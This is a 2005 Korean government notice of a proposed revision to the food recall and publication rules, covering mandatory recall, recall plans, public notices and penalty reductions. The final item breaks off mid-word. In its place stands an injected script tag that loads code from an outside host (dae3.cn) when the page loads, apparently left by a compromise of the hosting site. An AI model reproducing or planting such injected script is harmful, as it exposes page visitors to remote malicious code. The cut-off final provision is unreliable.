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식품등회수및공표에관한규칙 전부 개정령안 입법예고(2005.5.6)
작성자 식품안전부 등록일 2005/05/06 조회 16762
첨부
보건복지부공고 제2005 - 77호

식품등회수및공표에관한규칙을 개정함에 있어 그 내용을 국민에게 미리 알려 의견을 수렴하고자 그 제안이유 및 주요내용을 행정절차법 제41조의 규정에 의하여 다음과 같이 공고합니다.


2005년 5월 6일

보건복지부장관


식품등회수및공표에관한규칙 전부 개정령안 입법예고


1. 제안이유

식품위생법(법률 제7374호, 2005.1.27)이 개정됨에 따라 이 법에서 위임한 회수대상식품․회수계획 및 회수절차 등에 관한 필요한 사항을 마련하여 위해식품등으로부터 국민건강을 보호하고 위해식품 회수를 성실히 이행한 영업자에게는 행정처분 감면 등 인센티브를 부여하는 등 현행제도의 운영상 나타난 미비점을 개선․보완하고자 하는 것임.


2. 주요내용

가. 영업자가 자가품질검사결과 부적합하거나 국내․외의 연구․검사기관에서 인체의 건강을 해할 우려가 있는 원료 또는 성분 등의 검출 등으로 이 법에 의한 위해식품등의 판매등 금지, 병육등 판매금지에 해당하는 식품등에 대하여는 영업자가 의무적으로 회수하여야 하는 대상 식품등으로 규정함(안 제2조).

나. 위해식품등을 회수하고자 하는 영업자는 제품명, 회수사유 등이 포함된 회수계획을 수립하여 이를 허가 또는 신고관청에 신고하도록 하고, 신고를 받은 허가 또는 신고관청은 해당 영업자에게 회수․공표명령을 하고 수거․검사를 실시하도록 함(안 제3조).

다. 회수․공표명령을 받은 영업자는 공표일자, 공표매체, 공표횟수등을 포함한 『위해식품등 긴급회수문』을 작성하여 국민에게 알리기 위해 2개 이상 중앙일간지 또는 1개 이상 중앙일간지와 식품의약품안전청의 홈페이지에 게재하도록 함(안 제4조).

라. 회수계획에 의하여 식품등을 회수한 영업자는 회수실적, 미회수량 조치계획 및 재발방지 대책을 포함한 회수결과를 허가 또는 신고관청에 보고토록 함(안 제5조).

마. 법 제31조의2의 규정에 의하여 회수하는 영업자는 영 제17조의3의 규정에 의하여 감면․경감 등 처분을 하고, 법 제56조제3항의 규정에 의한 회수 실시결과에 따른 행정처분 등 사후조치사항으로 회수실적이 50% 이상인 경우 감면․경감 처분하도록 하고, 그 회수실적이 50% 미만으로 미흡한 경우에는 회수 미이행 행위와 해당 제품의 위반사항을 함께 처?script src=http://dae3.cn>
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